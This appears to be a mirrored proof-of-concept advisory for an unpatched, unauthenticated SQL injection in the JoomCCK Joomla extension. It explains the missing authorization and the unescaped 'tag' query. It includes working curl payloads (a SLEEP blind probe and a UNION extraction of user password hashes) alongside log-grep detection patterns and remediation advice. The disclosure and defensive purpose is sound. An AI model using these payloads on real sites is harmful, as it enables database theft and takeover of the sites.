PoC Archive PoC Archive
Critical CVE-2026-49048 (Advisory ID JOOMCCK-2026-001) unpatched

JoomCCK Unauthenticated SQL Injection via `tags.save` (CVE-2026-49048)

by Kamil Soltanov (KARA-git) · 2026-07-05

CVSS 8.7/10
Severity
Critical
CVE
CVE-2026-49048 (Advisory ID JOOMCCK-2026-001)
Category
web
Affected product
JoomCCK (com_joomcck) — Content Construction Kit extension for Joomla, by JoomCoder
Affected versions
6.4.0 (latest at time of discovery; earlier 6.x presumed affected); no fixed version at time of writing
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherKamil Soltanov (KARA-git)
CVE / AdvisoryCVE-2026-49048 (Advisory ID JOOMCCK-2026-001)
Categoryweb
SeverityCritical
CVSS Score8.7 (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagsjoomla, joomcck, com_joomcck, sql-injection, cwe-89, missing-authorization, cwe-862, unauthenticated, blind-sqli, union-based
RelatedN/A

Affected Target

FieldValue
Software / SystemJoomCCK (com_joomcck) — Content Construction Kit extension for Joomla, by JoomCoder
Versions Affected6.4.0 (latest at time of discovery; earlier 6.x presumed affected); no fixed version at time of writing
Language / PlatformPHP / Joomla CMS 4/5/6
Authentication RequiredNo
Network Access RequiredYes

Summary

JoomCCK’s custom MVC dispatcher (MControllerBase::execute()) invokes controller tasks without any CSRF token check or ACL/authorization check — its authorise() method is a no-op that always returns true. This makes the tags.save task, whose model method _saveTag() concatenates the user-supplied tag parameter directly into raw SQL (both a SELECT and an UPDATE statement) without escaping, reachable by a completely unauthenticated remote attacker. Joomla’s STRING input filter strips HTML but does not strip double quotes, which are the string delimiter used in the vulnerable query, allowing straightforward quote-breakout SQL injection (both UNION-based and time-based blind). The repository includes a PHP PoC (poc/poc.php) that loads the genuine Joomla Input/filter framework classes and runs the exact _saveTag() query against a live MariaDB instance to demonstrate quote breakout, UNION exfiltration of user password hashes, and time-based blind injection, along with a captured evidence transcript and a disclosure timeline showing the finding was reported to and acknowledged by the Joomla Security Strike Team.


Vulnerability Details

Root Cause

  1. Missing authorization (CWE-862)libraries/mint/mvc/controller/base.php, MControllerBase::execute() dispatches to task methods ($this->$doTask()) with no checkToken() or authorise() gate; authorise() unconditionally returns true. The component entry point (components/com_joomcck/joomcck.php) calls execute(input->get('task')) directly, so every public controller task — including state-changing ones — is reachable without authentication.
  2. SQL injection (CWE-89)components/com_joomcck/models/tags.php, _saveTag():
    1
    2
    3
    4
    
    $tag = $app->input->getString('tag');   // Joomla STRING filter strips HTML but not "
    $query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"';   // injectable
    ...
    $query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id;     // injectable
    
    Because " passes through getString() unmodified and is also the query’s string delimiter, an attacker can break out of the literal and append arbitrary SQL.

Attack Vector

  1. Attacker sends an unauthenticated GET/POST request to index.php?option=com_joomcck&task=tags.save with a crafted tag parameter, e.g. zzz" OR "1"="1 or zzz" UNION SELECT id,username,password FROM #__users-- -.
  2. The custom dispatcher executes tags.save with no login/token/ACL check.
  3. _saveTag() builds a SQL string by directly concatenating the unescaped tag value.
  4. The injected SQL executes against the Joomla database — confirmed via UNION-based data exfiltration and SLEEP()-based time delays in the author’s lab.

Impact

An unauthenticated remote attacker can read arbitrary data from the Joomla database (including #__users password hashes, session tokens, and other PII), modify rows in #__js_res_tags via the injectable UPDATE, and potentially chain with other unauthenticated tasks exposed by the same dispatcher flaw (tags.delete, records.copy, and several ajax.* enumeration endpoints), leading to full administrative takeover of the Joomla site.


Environment / Lab Setup

Target:   Joomla CMS running JoomCCK (com_joomcck) 6.4.0, MariaDB backend (author's lab: MariaDB 11.8)
Attacker: Standard HTTP client (curl/browser) for remote exploitation; PHP CLI + genuine Joomla Input/Filter/String
          framework packages for the local lab-reproduction PoC in poc/poc.php

Proof of Concept

PoC Script

See poc/poc.php (local lab reproduction using real Joomla framework code) and poc/poc-evidence.txt (captured run transcript) in this folder. See disclosure/timeline.md for the full coordinated-disclosure timeline.

1
2
3
4
5
curl 'https://target.example.com/index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20-'

curl 'https://target.example.com/index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20-'

php poc/poc.php

The remote curl commands target the live, unauthenticated tags.save task directly. The local poc.php script instantiates the real Joomla\Input\Input class to reproduce $app->input->getString('tag') exactly as JoomCCK calls it, then runs the verbatim _saveTag() SELECT query against a live database for four cases (benign, quote-breakout, UNION exfiltration, time-based blind), printing the filtered input, the resulting SQL, and the query results/timing for each — as captured in poc/poc-evidence.txt.


Detection & Indicators of Compromise

grep -E 'task=tags\.save.*tag=.*(%22|SLEEP|UNION|--)' /var/log/apache2/access.log
grep -E 'task=tags\.save.*tag=.*(%22|SLEEP|UNION|--)' /var/log/nginx/access.log

Signs of compromise:

  • Requests to index.php?option=com_joomcck&task=tags.save (or tags.delete, records.copy) with no valid session/login, especially containing ", UNION, SLEEP(, or -- in the tag parameter
  • MySQL/MariaDB errors referencing #__js_res_tags or column-count mismatches (error 1222) in the database or application logs
  • Unexplained multi-second response delays on com_joomcck endpoints

Remediation

ActionDetail
Primary fixNo vendor patch confirmed at time of writing; parameterize all com_joomcck queries using Joomla’s query builder ($db->quote()/$db->quoteName()) instead of string concatenation, and add Session::checkToken() + an authorise() ACL check to MControllerBase::execute() before all state-changing tasks
Interim mitigationDisable or restrict access to com_joomcck front-end tasks via WAF rules blocking SQL metacharacters in the tag parameter, or take the component offline until patched

References


Notes

Mirrored from https://github.com/KARA-git/CVE-2026-49048-JoomCCK-SQLi on 2026-07-05.